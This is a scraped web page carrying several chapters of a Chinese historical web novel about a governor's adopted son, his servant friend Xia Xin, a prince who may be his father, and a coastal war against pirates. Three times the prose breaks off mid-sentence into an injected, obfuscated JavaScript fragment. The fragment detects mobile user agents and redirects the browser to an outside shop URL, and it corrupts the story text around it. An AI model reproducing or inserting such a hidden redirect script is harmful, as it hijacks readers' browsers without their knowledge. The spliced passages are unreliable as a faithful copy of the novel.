今日心情好,被嫌弃了王爷也不生气,反而觉得高琰说的很有道理,猫猫狗狗都要培养感情,更何况是个大儿子,虽说他相信血缘有纯天然的吸引力,但他这十年,那股纯天然的吸引力也没让他想起这个孩子。 李睦炜也不管孩子愿不愿意,强制培养起了感情,他抱起高濯衡往府外走,要带他上街去玩。 “叔叔带你去买果子,买糖吃好不好?” 原本是要去站规矩的,这会儿不仅能出府玩,还有果子和糖吃,高濯衡立马来了精神,顿觉这叔叔也不怪了,仔细看着,浑身都透着贵气。 孩子一笑,李睦炜更高兴了,让一旁的随从摘了他腰间的玉佩,挂在了高濯衡腰上。 “这个送给你。” 那白玉牌莹润透亮,背面刻着字。 高濯衡把玉佩放在手心,读道:“金尊玉贵,多福多寿。” “没错,”李睦炜道,“衡儿金尊玉贵,多福多寿,喜欢吗?” 这玉佩上的吉祥话倒是和孩子很配。 “嗯!”高濯衡收了礼,因这人要带他出去玩,他也想出去玩,于是高濯衡单手抱住了李睦炜的脖子,以示亲昵。 李睦炜不懂这孩子的心机,心里还乐呢:挺好哄啊,这不随便对他好点儿,就能带回京了。 高濯衡被燕王带出去遛,高高兴兴出去,欢欢喜喜买了一堆东西回来。 出去前说人家是怪叔叔,回来时搂着脖子让人家多来家里玩。 李睦炜走后,高琰问高濯衡,燕王与你说了些什么。 高濯衡和高琰说话时很守规矩,站着微微躬身,眼睛看着地:“回父亲,殿下喜欢开玩笑,不过是一时之言,孩儿认为不足为信,已经忘了大半了。” 李睦炜哄他叫自己干爹,还让他和自己回京城,他说胜京里果子的花样更多,还有西洋,南洋来的糖,宫里更有御制的点心,都是最好的果子。 原本晏江的舶来品更多,临海有三个很大的港口,但因水寇连年来犯,港口已经关了,有时轮流开放,可船支比以前少了三分之二。现今晏州的洋货,都是西南或北边的港口卸货后,从运河过来的。 运输路途增加,价格比原来翻了两倍不止。 如今已不是晏江家家户户都能拿出两件洋货的日子了。 李睦炜说他的,高濯衡只管左耳朵进右耳朵出,再摆出一副很爱听,很期待的表情,接着让李睦炜继续给他买东买西。 后来高濯衡想起这天时,会觉得好笑,这是一个孩子自以为是的聪明劲儿,高濯衡也认为小时候的自己是不笨的,可再聪明的孩子,他的命运,都掌握在大人手中。 高琰问:“你…想进京吗?或许他不是玩笑,接你去养在王府中,并非不可能。” 高濯衡抬起垂着的头,看向高琰。 高琰在十岁的孩童眼中看到了不安和震惊。 高琰不再逼迫,毕竟燕王那边并未明示他交出高濯衡。 “你先回去吧。” 高濯衡走出高琰的书房往自己的小院走时,有些恍惚。他没有告诉高琰,李睦炜用送他新衣服,要量尺寸的借口,掀开上衣,特地去看他腰间的刺青。 他幼时,身边的人都告诉他是胎记,他便真的一直以为是胎记。 直到八岁的那个夏天,在水池边起了顽皮的坏心思,把夏辛推下水,又跳下去和他打闹,夏辛不太会游泳,虽然那水只到小孩儿的胸口,却把他吓得哇哇直哭。 高濯衡没玩尽兴,可又不想听他哭,只好和人一起把站在水里大哭的夏辛给捞上了岸。 回院子后,有人伺候他洗漱,夏辛那边还得湿着身子,自己烧水。 高濯衡换了干净衣服,去看夏辛,小孩在下人房里,正掺和温水擦身子。 上身光着,眼泪还在淌。 高濯衡上前帮他把黏在背上的头发理了绑起来:“别哭了,这不是跟你玩儿嘛,水又不脏,凉凉的多好玩,我和大哥还跳下去游泳呢。” “你真的不是在故意欺负我?”夏辛一直在发抖,嘴唇都发青了。 高濯衡发现他不对劲,立刻用干毛巾帮他擦了身子,又从榻上抽了床被子,帮他裹在了身上。 “还冷吗?你怎么比我还娇气呢。”高濯衡面对面的抱住了夏辛,用身体的温度给他暖着,夏天的衣料薄,小孩儿又软乎,夏辛被他这样一抱,果然好多了。 “我…有胎里带出来的喘症。”夏辛道,“每年都要吃很多药的。” 高濯衡道:“怪不得你身上有苦味儿呢。” 夏辛低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“并非所有的都有,但若不放在府中的,就会刺上,这是龙鳞。” 这话说得再明白不过了,可高濯衡却又假装没听懂。 高濯衡在回小院的路上,将李睦炜和高琰的话,在心中来回反复的琢磨。 才进小院儿,就闻到了很浓的苦药味。 春末,夏辛的药快喝完了。他听着外头有声音,放下药碗就跑了出来:“怎么才回?” 他近来越来越像老妈子,只要是高濯衡的事儿,他什么都得看着管着。 “喝药呢?”高濯衡随口问了一句。 夏辛道:“我窗户开着呢,一会儿苦味就散了。” “闻久了也还行,有几味药还挺好闻的。”高濯衡往里头走,夏辛拉着他的手一道儿进去。 桌上托盘里还有半碗药汤。 “怎么没备些糖呢?”高濯衡说着去自己的糖罐子里给夏辛拿糖丸:“你上次不是说舌根儿都苦麻了。” 夏辛把药灌下去,高濯衡就捡出一粒糖丸往他嘴边塞。 夏辛这时又高了些,五官也长得更开了,能明显看出眼窝稍深,鼻梁细而高,鼻尖的形状小巧却偏方,微微翘起,若这头卷发不是黑色,而是浅色,会更像酒楼里跳胡旋舞的西域舞娘。 夏辛问:“怎么这么看着我?” 屋里只他们两个,高濯衡问:“你是你娘亲生的吗?” 10. 抚州好啊 这话多冒昧啊。 夏辛:“啊?当然了!” 高濯衡自己没弄清楚的事,不敢告诉夏辛,怕他多想,也怕中间有什么秘密会连累夏辛。 可孩子心里是藏不住事儿的,他真的很想找人说一说,问一问:“夏辛,你觉不觉得,我和我爹娘,长得不是很像。” “没有啊。”夏辛道,“你头发直直的,夫人头发也直直的,多像啊。” “天爷呀,府里除了你,谁的头发不是直的?”高濯衡道,“你怎么不说总督长了两个眼睛,我也长两个眼睛,所以像呢。” “对啊对啊。”夏辛笑得有些憨,还像模像样报了几个名字,都是略微自然卷的。 可那些人的卷和夏辛头发的卷度完全不同,那些只能算有些蓬松和微卷,整体看还是直的。 高濯衡勾了一缕夏辛打卷儿的发尾:“我觉得很好看。” 夏辛道:“真的吗?我娘也说好看。我以前也问过她,为什么她的头发那么直,我的头发却是弯的。她说哪有人人都长一样的,没哪条款子写着旁人头发是直的,夏辛就必须是直头发。” 他继续絮叨着:“小柳河是花街,你知道什么是花街吗?”不等高濯衡说,他就小声自问自答道,“就是,男人喝花酒,找女人的地方。” 高濯衡问:“找女人干什么?” 论心眼儿,机灵劲儿夏辛不如高濯衡,可市井带来的阅历,却比养在深院的小少爷多些,“睡觉。” 高濯衡:“为什么?” 俩小孩儿那时都还以为真的是躺一张床上睡觉,就和他俩晚上一样。 两人头靠着头,夏辛很小声的说:“我偷偷看过,就散了衣裳,抱一起,亲嘴儿。然后…” 高濯衡:“然后?” 夏辛道:“然后我就被我娘提溜走了。” 高濯衡白了他一眼。 夏辛接着说:“我娘以前也和她们一样,所以我…才没有爹。” 高濯衡被他绕糊涂了:“什么意思,这和你没有爹有什么关系?” “你成天在府中,什么都不知道。”夏辛像是说一件很机密很重要的事,在高濯衡耳边说,“男人和女人躺一起睡觉亲嘴,就能生小娃娃。” 高濯衡懂了,他的意思是他娘和不同的男人躺一起亲过嘴,这其中或许就有个头发打卷儿的,生出了他这个头发打卷儿的男娃。 高濯衡看他神秘兮兮的样子,忍不住敲了一下他的脑袋。 “你才什么都不知道。谁告诉你睡一起亲个嘴就能生娃娃的?” 夏辛道:“我看见的。” 高濯衡笑骂道:“你看见个大西瓜啊。” 夏辛急了:“那你说,怎么生娃娃的。” 高濯衡道:“我也不知道,但肯定不是亲一亲就能生。” 他其实知道些,因为大哥今年十七了,到了谈婚论嫁的年纪,母亲一直在物色人选,打算明年春闱后,陆续安排他与姑娘们相看。 高濯衡在赵蓉那边看见了许多晏江、靖江,还有冀州老家,甚至是京城的贵女画像。 有几个母亲属实中意,已经拿去给哥哥看过了。 高濯衡那时只以为又会来一个漂亮的姐姐陪他玩,和哥哥一样疼他,给他买吃的,家里肯定会比现在热闹,他还挺高兴的。 母亲还说,嫂嫂娶进门,不过多久,就会给他生一个胖胖的小侄子,他就能当小叔了。 他问为什么嫂嫂生的孩子,要叫他小叔。 嬷嬷就笑,说:“是你哥哥和嫂嫂一起生的孩子,与你是血亲,自然要叫你小叔,你得像哥哥待你一样,待他好才行。” 他想不通,继续追问,母亲和嬷嬷却都不再跟他说了。 于是回了院子,他就只好继续找人问。 他知道夏辛肯定也不懂,姑娘们是知道的,但她们会笑话他,母亲说过男子与女子间要守礼,即使是自己房中伺候的人,年纪上去了,也不能太亲密。 是因他和夏辛最亲近,年纪又小,赵蓉才敢在他房中放这些丫鬟,高承翊那边除了一个铺床叠被端茶水的,其余伺候的全是小子。 想来想去,他找了院子里年纪最大的小厮,那人有十六了,前几年家里老人生病没钱医,才到府中当下人的,可老人家还是病死了。 这几年家里日子好过些,他也攒了些银子,等着明年契到了,他就能回家娶媳妇儿种田了。 高濯衡偷偷的去问,小厮当然不说,可架不住他软磨硬泡,天天来问。 于是便只好粗略的说了个大概,并让高濯衡保证谁都不能说。 其实小孩儿没听懂,但知道绝不是躺一起亲个嘴那么简单的。 话说回头,他在这儿问夏辛,他和爹娘像不像,没问出个结果,反而被夏辛绕进去了。 这会儿夏辛正睁着双好奇的大眼睛问他:“你说啊,那怎么生娃娃的?我知道的都告诉你了,你也要把知道的告诉我。” 高濯衡道:“你不许告诉别人。” “嗯嗯。”小孩儿点头如捣蒜。 高濯衡道:“要洞房。” 夏辛眨眨眼睛:“怎么洞?” 高濯衡脸红了:“我又没洞过,我怎么知道。” “你脸红个什么劲儿?”夏辛双手托住了高濯衡透红的脸蛋儿。 “我没有!”高濯衡道,“我逛了一下午街,还吃了河豚,补…补热了。” “二爷以后也会和女人洞房吗?”夏辛问。 高濯衡道:“男人都得娶媳妇儿,娶了媳妇儿就都得洞房,生小孩儿。” 夜里高濯衡躺在床上,还在嘟囔着:“我和他…长得也不像啊…”他手放在腰间。 高承翊是一眼就能看出的和高家夫妇相像的,高濯衡觉得自己和父母长得并不相似。再加上夏辛腰上的那片鳞,以及赵蓉在细节处流露出的对待他和高承翊的不同,让十岁的小孩对自己可能不是父母亲生的这件事,愈加怀疑。 至于李睦炜,若他没在夏辛腰上看见那片鳞,他或许真的会以为自己是李睦炜的儿子,可偏偏他看见了。 春末不冷,夏辛没有提前暖床,他洗漱完进了里屋。 “金尊玉贵,多福多寿。”是夏辛在看那块玉佩,他拿着玉佩爬上床:“那个王爷给你的?” 高濯衡嗯了声。 “真好看,王爷就是不一样。”夏辛道。 高濯衡问:“如果他是你爹,要带你去京城,你高兴吗?” “他不是我爹,我也不去京城。”夏辛躺去了高濯衡旁边。 高濯衡道:“我是说如果。” 夏辛道:“那我也不去。” 高濯衡问:“为什么?王府可气派了,王爷当爹,你就是小王爷,有爵位可以继承。” “我没见过,也不稀罕。”夏辛道,“我喜欢抚州。” 高濯衡道:“抚州有什么好?” 夏辛道:“抚州好啊,今天的咸肉笋汤,你不也喝了两碗嘛,京城哪有这么鲜的笋呢。” 的确,胜京在北边,北边少竹,且与抚州竹子的品种有不同,结出的笋个头小,涩味重。笋必须生在黄泥层很厚的山地才清甜。 且出了泥就变老,就吃个新鲜气儿。虽可裹上黄泥包上叶子保鲜,封存起来运输,可自南到北,最少也得七八天,运到胜京,和在抚州清晨刚出泥,中午就端上饭桌的笋,已不是一个味道了。 夏辛继续数着:“还有蒸米糕,糯米年糕蘸白糖,山核桃。” 抚州的山核桃比北方的大核桃要小上许多,小而香脆,夏辛冬天时会用小钳子给高濯衡剥核桃仁吃。 “还有河豚、跳鱼。”夏辛侧过身,瞧着高濯衡,“蜜桃呢?你每年夏天都吵着要吃蜜桃。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101023|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜桃是有的,跳鱼和河豚大约有些难。”高濯衡又被他绕了进去,随后立马反应了过来:“哎呀,你说的那些,王府里肯定都有的,那可是王府,要什么没有。” “那也不行。咱们府里也有啊,不稀罕。”夏辛拉住他的手,倒有些语重心长的长辈架势,“我的爷,你不太出门不知道,没听过小柳河茶馆儿里说的书。” 高濯衡静静听。 夏辛道:“一入宫门深似海,王府虽然次个一档,没海那么深,也有河那么深了啊。到那去,人生地不熟的,有什么好东西也轮不到半路认回去的儿子啊。还是抚州好,抚州呢,有我娘。”他对着高濯衡笑:“还有二爷。” 高濯衡看他笑,也忍不住笑。 俩人又抱上了:“你说的对,抚州有大哥,还有夏辛。” 高濯衡的寝衣熏了茉莉香,夏辛贴在高濯衡肩头,细细的嗅着:“真好闻。” “那以后都用茉莉。”高濯衡是不拘小节的,夏辛却会为了这些被纵容的小事高兴上很多天。 “你白天说,你以后娶媳妇儿的事。”夏辛道,“你要是娶了妻,是不是就要和她睡一起了?” “我没想过,睡睡看呗,要是不喜欢和她睡,我再把你叫回来。” “那洞房呢?”夏辛道,“你是不是还要和她洞房生娃娃?” “嗯,是吧。”高濯衡问,“不是吗?” 夏辛道:“可你都不会啊。” 高濯衡道:“到时候我就会了。” “那我在边上看着,你也教教我。”夏辛道。 哈?我跟我媳妇儿洞房,你搁旁边看着学? “胡说八道,洞房…是不能给人看的。”高濯衡道。 “凭什么就不能给人看啊?别人不能看,我怎么就不行?我又不是外人。”夏辛道,“再说了,那她万一欺负你怎么办?我得看着啊。这么多年,都是我看着呢,你这么弱不禁风的,没我怎么行呢!” “得了吧,谁是药罐子谁知道。”高濯衡像哄孩子似的拍他的背,“别说混话了,睡吧睡吧。” 夏辛道:“那你答应我。” “又答应你什么啊?”高濯衡道,“我发现你这人要求忒多。” 夏辛哼唧着撒娇:“这很重要!我…我现在想到你以后要娶媳妇儿,我就特难受。” 高濯衡问:“我娶媳妇儿,你难受什么啊?” “就你身边这位置,是我的。”夏辛委屈道,“你到时候找个陌生女人躺着,还把我赶下床,我睡哪去?” 高濯衡思索了片刻道:“那总不能跟你睡一辈子吧,府上这么大,你随便找间屋呗。” “为什么不能?”他还来劲儿了,“我就想跟你睡一起,一辈子都睡一起。” 高濯衡被他逗乐了:“没准你到时候比我先娶媳妇儿呢,过两年就不会再吵着跟我睡了。到底我是少爷还是你是少爷,伺候你吃药,夜里还得哄你睡觉。” “你讨厌我吗?”夏辛用那双略淡的眸子,可怜巴巴的看着高濯衡。 高濯衡:“不讨厌啊。” 夏辛:“以后呢?” 高濯衡:“你老这样吵我睡觉,我现在就讨厌你了。” 夏辛用头拱他胸口闹他:“不~准~讨~厌~我~” 高濯衡被他顶得直笑。 他和夏辛的相处都是这样,两个小孩儿,能商量出事情解决办法的概率为零,但说完话抱在一起大笑的几率,是十成十。 翌日,他把要站规矩的事忘了个干净,直到傍晚赵蓉那边的嬷嬷来找他。 他被罚走了晚饭,原本只是站规矩,现在变成了跪祠堂。 赵蓉让他从戌时正跪到亥时一刻,再回去睡觉。 连续三天。 当晚还没到亥时,高承翊就回来了。听说弟弟在跪祠堂,便立马到了祠堂问高濯衡他受罚的缘由。 11. 二宝撒娇 听说弟弟在跪祠堂,高承翊心疼的要命,是带着小跑去的祠堂。 高濯衡不是会老实挨罚的人,赵蓉没有着人看着,他便把两个蒲团并排铺好,睡在了上头。 怕被发现,让夏辛站门口给他望风,若有人来就大声提醒他。 俩孩子每天睡得早,平时这个时辰早躺下了,高濯衡在蒲团上虽睡得不舒服,好歹能躺平。夏辛站在外头望风可就惨了,这会儿眼皮打架,脑袋垂着跟小鸡啄米似的一点一点。 高承翊走到他面前,他都没发现。 高承翊干脆绕过了夏辛,往祠堂里边走,一进去,就看见了趴在蒲团上已经睡得淌口水的高濯衡。 他无奈地摇头笑了笑,看来自己是白为他担心了,小孩儿鬼精鬼精的。 高承翊蹲下后,高濯衡就醒了。 他快速睁眼规矩地跪好后才发觉来人是大哥,揉了揉眼睛,确定自己没在做梦后,扑抱住了高承翊。 “哥!” 这一声把外头的夏辛吼清醒了,立马冲进来看,就见高承翊将高濯衡高高抱起。 他两个月没回了,高濯衡想死他了。 高承翊见夏辛进来,便一只手托着弟弟,一只手从腰间的口袋里掏出一小罐糖,扔给了夏辛:“这是给你带的。” 而高濯衡恨不得将整个脑袋都钻高承翊脖子里,夸张地喜极而泣出来:“你一走就是两个月,天都塌了!” 高承翊抱着弟弟往外走了两步看着天:“我看看哪儿塌了。” “我这儿塌了!”高濯衡眼角真沾了点泪,一脸责备地看着高承翊,学着赵蓉的口气,“孩子大了,不由娘,成天儿的不着家!” 高承翊和夏辛都被他逗得直笑。 高承翊拍了拍高濯衡的脸蛋儿:“母亲这样跟你抱怨了?” 高濯衡点头,瘪着嘴:“两个月就给我寄了一封信,要不是父亲叫你回来,你是不是还在外头呢!” 高承翊找了个蒲团坐下,高濯衡还是扑抱在他身上不肯撒手,高承翊道:“那是舅舅家,西南风貌与咱们这儿有太多不同了。舅舅在那深耕十余年,笠安连绵的山上,全是梯田,一片绿油油的,田边挖出水道,用水车输水灌溉,就像翡翠缠着白玉带,特别好看。种出来的稻谷,格外香糯,我背了十斤回来,明天让厨房蒸上,让你尝尝。” 除了稻米,还被赵谨塞了好多东西,他一人一马,背不了那么多。 “书上原说,笠安地势险峻,湿地遍布山林繁密,是穷山恶水,不毛之地。”高承翊道,“这样的地方,却在舅舅的治理下,年年丰收,百姓安居,可见书上的记载不能全信。世事易变,只要用心去治理,勉力劳作,什么样的地都能长出庄稼。反之,只想着不劳而获,一点心思全放在争斗抢夺上,再好的地方,也受不起兵燹战祸。” 他明年春四月就要参加殿试了,若能蟾宫折桂,他便是真正的少年得志。 若是其他家的公子少爷,如今这时候,必定是哪都不去,安心在家读书了。 可高承翊是个主意大的,早些年跟着高琰去海防战线,十四之后,奉行读万卷书行万里路,一人一马,把大渊山河,走了大半。 他随身带着小本,记录着所到之处的风土地质。这样一来,高濯衡见着哥哥的次数又变少了,但他每个月,都能收到哥哥的信,信里放着哥哥从远方,带给他的小礼物。 漂亮的石头、街头买的小木雕、干花、古钱币… 都是能放进信封大小的东西,很便宜,有些甚至是随手捡的。 夏辛还抱怨过,怎么大少爷专捡些不值钱的玩意儿给寄过来。 高濯衡却明白哥哥的心意,他走过的路,看到的东西,学到的道理,都想分享给弟弟。 “什么时候也带上我?”高濯衡问。 高承翊道:“等过两年吧,外头可不比家里。” 城里是较为安全的,但不免要路过些荒郊野岭,他一个人发现不对,能跑能躲,再不济,抽出腰上挂的刀,用出军中所学的拳脚,对付一阵,保全自己还是能做到的。 可带着一个孩子,就是另一说了。 “我还没问你呢,又调皮闯祸了?怎么会被罚跪祠堂?”高承翊的表情严肃起来。 “都是衡儿不好。”高濯衡最会服软,尤其是在哥哥面前,因为哥哥好说话,只要他认错,甭管真心假意,以后改不改,当下哥哥都会立马原谅他,并且还会生出赵蓉和高琰无法理解的怜惜。 ——二宝已经认错了,你们就别再揪着不放了。 ——二宝已经很努力了。 ——他还是个孩子!像他这个岁数,能这样,已经很不错了。 ——怎么还要罚吗?不能这样教!我好好的孩子,给你们罚坏了! ——好了好了,你们没听见二宝已经哭了吗? ——为什么一定要和我幼时比呢?我是我,二宝是二宝。 于是今天也一样,高承翊抱起弟弟,带着夏辛,就回他们院儿了。 “不跪啦?” 高承翊:“都快亥时了,不睡觉怎么长个子。” 他们往回走的路上,高濯衡说了此回受罚的缘由。 起因是孟光调任了。 夏娘找人给夏辛带口信,让他一起去相送。夏辛和高濯衡是躺在一个被窝的,平时想回家,夜里趴在耳朵边说一声,早上就能从小门溜出去了。 这事赵蓉也知道。 故而夏辛这次也没打算去跟夫人告假,还是打算跟高濯衡说一声,等那天就从小门出去,办完事,再从小门回来。 可高濯衡一听,耍起了滑头。他故意带着夏辛去赵蓉那问安。 赵蓉看见夏辛,就忍不住在心中反问自己为何要收下这个孩子,那腰上的龙鳞难道不该避之不及吗? 可…这孩子没死,她就想将他放在身边。如今要换回来已是不可能了,但放在府中,好生养着,让他跟着二宝一起读书,还是可以做到的。 赵蓉看着院子里一同玩耍的两个孩子,心下多少有些不是滋味。 阴差阳错,真龙子成了仆从,而她买来的这位所谓「小王爷」,这些年,那燕王也从未过问一声,想来是彻底把这个孩子给忘了。 那孩子很会察言观色,又爱撒娇讨好,她刻意保持着距离,可高濯衡总是会自己贴上来,倒真成了她的儿子。 这会儿看见她来了,立马小跑过来撒娇要抱。 “娘亲,抱抱!” “你也十岁了,翊儿像你这个年纪,已经可以一个人去校场练习骑射了。”赵蓉虽嘴上拒绝,可还是弯腰,把高濯衡抱了起来,与这孩子相处久了,多了些她自己都没有察觉的亲密,“你如今却还爱偷懒,今晨又睡过头,先生说你课上总不认真,功课还哄着夏辛帮你做。先生罚你抄书,十张竟有七张,是夏辛模仿你的字迹。” 或许再过个两三年,他们俩就不会在这种事上露马脚,十岁还是太小了,即使夏辛已经尽力模仿了高濯衡的字迹。 高濯衡懒懒的,字写得也懒,先生说是软绵无力,纯粹糊弄人。 小孩儿撇撇嘴:“先生那么大年纪,怎么这么爱在人背后说嘴。” “你这孩子说什么呢!”赵蓉心下觉得好笑,“先生对你的学业负责,可不叫背后说嘴。” 高濯衡抱着赵蓉的脖子开始耍赖:“字好难写,书也看不懂。” 他毕竟是个农户的孩子,祖上三代大约都没读过一本书,或许也没人能识字,赵蓉想,用官家子的要求对他,是太高了。 “娘亲能给夏辛放两天假吗?”高濯衡说到了正题。 赵蓉道:“你上次偷着让他回去,怎么没想着告诉我一声?” “衡儿再不敢了。”高濯衡睁着水汪汪的大眼睛,看着赵蓉,“这回是真有事儿。” 夏辛在边上听见,立马跪了下来。 赵蓉当年自那快饿死的农妇手上将孩子买来时,不曾想过这孩子会长得这般漂亮。他完全不需要装饰,任谁只消看上一眼,都会觉得很喜欢。 眉眼,鼻子,嘴巴,无论是单看,还是凑在一起,皆是完美无缺。 尤其是当他这样,带着些许的祈求看着人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101024|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,更是让人无法拒绝。 二宝撒娇,铁石心肠都得软下来。 赵蓉问:“是何事啊?” 高濯衡答道:“夏辛家里来人稍了话,说孟大人调任了,他家受过孟大人的恩惠,他娘想带着他去给孟大人磕头送行。” 赵蓉当然打听清楚了那段过往,略微思索后就让夏辛别再跪了。 “孟大人调进京了,是高升,他在抚州这些年,廉洁奉公,从无私心,百姓们都对他爱戴有加。他于你和你娘,是有再世之恩的,该去送送。”赵蓉道,“你娘卖茶水也不容易,我替你备份礼。” “我娘说孟大人不收礼。”夏娘总是交代他,不能多贪主家的钱,“我娘卖茶和脂粉也能存下些钱,虽然不多,但吃穿用度都是够的。我拿着府里的月例,不能再收夫人的东西。” 夏辛没有说谎,他们现在的日子,比早几年好过多了。 高濯衡绕这一大圈,就是为了在赵蓉这儿讨这份礼给夏辛撑场面,又知道夏辛的脾气比筷子还直。直接告诉他,他肯定不会来,也不会要。 看他开口拒绝,高濯衡立马帮他答应道:“没关系,我娘亲可有钱了。” 赵蓉一时还以为自己听错了,心道:你可真是大方啊?! 可转念一想,这孩子分明可以像之前那样偷偷把夏辛放出去,这回却特地告诉她,分明就是盘算好了,知道她要顾及主家颜面,送的人又是高琰的下属,她于情于理都得帮夏辛备份送别礼。 她当然不是吝啬一份礼物,且孟光调任之事,她早晚会知道,不仅是夏辛,她也需以总督府的名义,给孟光备送别礼。 却不想是以这种方式得知此事——在一个孩子的算计里。 赵蓉眨了眨眼睛,仔仔细细看了看坐在她腿上的小孩儿,高濯衡依旧是笑盈盈的样子瞧她。 “啊,娘亲今日的胭脂是新制的吧,好香好香,是茉莉香粉的味道。”他说完,快速的啄了一口赵蓉的脸颊。 高濯衡虽总缠着要抱,很爱亲近赵蓉,却很少有真的亲吻的举动,他的界限停留在拥抱上已经很久了,大约是七八岁时就如此。 因为那时的他就已经发现,母亲并不是很愿意和他靠太近。 脸颊上的这个吻,放在此情此景,似乎很合理,可其中突兀,母子俩却都有感觉。 赵蓉觉得这孩子会算计还善讨好,高琰就是这样的人,能在官场如鱼得水的,大多都是这样的人。 这让赵蓉很厌恶,不过凭心而论,这孩子她并不讨厌,大约是因为年纪小又漂亮的缘故,一些小心思放他身上,都令人觉得机敏可爱。 可作为母亲,赵蓉还是想尽力规训高濯衡。她心里敬佩哥哥赵谨,也觉得翊儿的性子正直豪爽。好男儿该是像他们那样的,当然,还有那个只跟她偷偷好了几个月,却惦记了她十年的傻子。 她觉得人得活得通透,若连母子之间都需要用心眼,耍心机,一旦让这孩子尝到了好处甜头,今后他长大,便会将用心眼心机,当成与人相处时必须要做的事。 防着算着,一颗心被绕了进去,做不到以诚待人,便一生都得不到别人的赤忱。到头来孤家寡人,有什么意趣。 赵蓉问:“衡儿真的觉得那字很难写,书看不懂吗?” 高濯衡不敢再笑了,心虚的低下头。 “衡儿知道何时可以用心机吗?”赵蓉并不严肃,“在确定别人看不出的时候,才能用。一旦别人能看出来,那就不叫心机,而是愚蠢了。 事情不长,高承翊听完,他们三人也都进了院门。 三人进屋后,高承翊问:“就这?” 俩孩子点头。 高濯衡道:“昨天本该是最后一天。” 他又把昨日的事说了一遍。 “我玩儿昏了头,忘记了今天要去补站规矩。”高濯衡道,“母亲说要加重责罚,还要重头再来,就成了跪祠堂三日,每日戌时正到亥时一刻,跪完才能回屋睡觉。” 这会儿刚刚亥时一刻。 高承翊道:“母亲那边明日我去回话,二宝乖乖睡觉。” 12. 光盛34年秋 晏江沿海的战事从去年冬就消停了,原因是秋季时,高琰散布守备军被调走的假消息,设了请君入瓮之阵,将水寇的大部分兵力集中在汾州境内,设伏兵一举歼灭。 同时自晏江港口出战船,绕行敌后,阻断水寇退路。 可谓是决战之势,且大获全胜。 但为此计能顺利实施,导致汾州城被抢,伏兵未发时,有百姓伤亡,后又与敌军在城中巷战,至民居损坏。 受战祸最严重的是汾州南郊,水寇们被围堵得无路可退,为泄愤故意放火烧毁民房,民田,杀害抓到的百姓。 这是他为了胜利早就计算到的牺牲,高琰这个人有抱负,有欲望,有手段,却似乎从没有心和感情。 他可以将所有的人、事、物,放在秤上计算重量,为了得到更重要的东西,他会立即放弃相对来说不重要的那一个。 战前的议会上有人反对,反对的人里包括他一手提拔的将领周季修,还有当时在帐中听议案,帮忙记录的高承翊。 高琰在军中时会脱了文官的官袍,穿上了将领的铠甲。 他站在帐中,不仅官最大,个子也是最高的,他问高承翊:“你有更好的办法吗?” 不止高承翊,军帐中几十个人,对着布防图和沙盘,没有一个人说话。 “没有吗?”高琰道,“翊儿没有,周季修你也没有吗?” 周季修低头:“末将也暂未想到更好的办法,可…末将以为还是像往年那样固守,更稳妥些。” 高琰背过身,看着挂着的布防图,上边的每一处战线、兵力,都经过他的同意:“翊儿两岁,我来晏江省任职,起初是在布政使司衙门,那时沿海就在打仗,如今翊儿已一十有六,战却还没打完。为什么?” 帐中仍旧鸦雀无声,无人回答。 高琰转身,凌厉的目光扫视着帐中所有人:“海边防线并非每月都有战事,水寇的船多集中在秋季上岸偷袭沿海州府,他们的意图是抢劫,抢完后会撤回船上,从海上逃走,年年如此。” 沿海与西北不同,没有长城驻防。 水寇们自浅滩登陆后,抢劫海边的村落,再往里,便是城镇。奸杀抢掠一通后,等官兵们集结赶到时,他们早已乘船扬长而去。 那时的守备军不是不想打,而是批不下粮和饷,没有钱粮就募不了兵,没有兵就只能一直退守。 官兵们指望不上,沿海一线百姓忍受劫掠,苦不堪言,死伤无数。 死的了不用再吃饭,可活着的,被抢走了所有积蓄和过冬的粮食也活不下来。 头几次,有朝廷赈粮,挨过了冬天,春来继续播种,好不容易等到秋收,水寇们又上岸抢掠。 如此往复,民不聊生。 百姓们在家乡无法生存,出逃的就成了流民,妇孺会饿死,男丁们为了活下去,便会去偷去抢,小股为贼,大股则为匪,为暴民。 辛苦耕种一年,到最后粮被抢走,家人还被杀,百姓们就不敢再种粮,也不愿再去耕田,原本的良田,无人耕种,成了荒地。 没人种地,地方收不上粮食,收不上税,户籍与实际百姓数量相去甚远。 这些情况,地方官是不敢完全如实上报的, 衙门年年欠朝廷的税,所需安民的钱款就更批不下来,恶性循环,最终至无钱募兵,无粮安民。 地方衙门官员为了保住乌纱帽,维持外表的太平,只能主动去向水寇求和,答应他们的诸多要求。 “我刚来时,晏江沿海五个县的衙门,每年都会偷偷向水寇上贡粮米、丝绸、茶叶,以求太平。桓平、汾州两县甚至已成了水寇驻地。”高琰道,“当然,那已是旧时,我不再重提,也不会向朝廷说什么。我也知道,衙门不是不想打,是打不了。” 